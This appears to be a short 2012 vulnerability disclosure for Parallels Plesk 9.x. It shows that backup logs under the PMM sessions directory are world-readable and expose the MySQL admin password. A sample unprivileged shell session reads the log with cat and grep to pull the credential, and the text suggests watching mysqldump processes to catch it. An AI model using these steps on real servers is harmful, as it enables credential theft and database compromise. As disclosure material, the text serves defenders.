Parallels PLESK 9.x – Insecure Permissions
# Exploit Title: PLESK 9.x insecure directory permission ( admin password revealed ) # Date: 25/04/2012 # Author: Nicolas Krassas , twitter.com/dinosn # Software Link: www.*parallels*.com/*plesk*/ # Version: 9.x # Tested on: ubuntu / centos During backup procedures, PLESK panel is keeping a detailed log of the process under /opt/psa/PMM/sessions in Debian/Ubuntu installations and /usr/local/psa/PMM/sessions in Centos under the directory with the current date. A detailed log file is created with the name psadump.log, with readable permissions for everyone. The file will reveal the admin password used from the backup process to dump the mysql databases from the sites being backed up. It's possible to locate data also under the sessions directory from incomplete/crashed backup sessions where the log files are not safely removed from the system. e.g.: $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ cd /opt/psa/PMM/sessions $ ls -Fal total 32 drwxr-xr-x 8 root root 4096 2012-04-25 21:42 ./ drwxr-xr-x 10 root root 4096 2009-12-03 22:07 ../ drwxr-xr-x 3 root root 4096 2012-04-25 22:12 2012-04-25-211250.973/ $ cat 2012-04-25-211250.973/psadump.log | grep admin 18:52:26 INFO Executing bundle producer: '/usr/bin/mysqldump -h 'localhost' -u 'admin' -p' PASSOWORD ' -P '3306' --quick --quote-names --add-drop-table --default-character-set=utf8 --set-charset 'DB'' in Old but I didn't see it listed, another way is to constantly monitor the system for the mysqldump process using a simple bash script to get the credentials as the process is running in the scheduled plesk backups. |
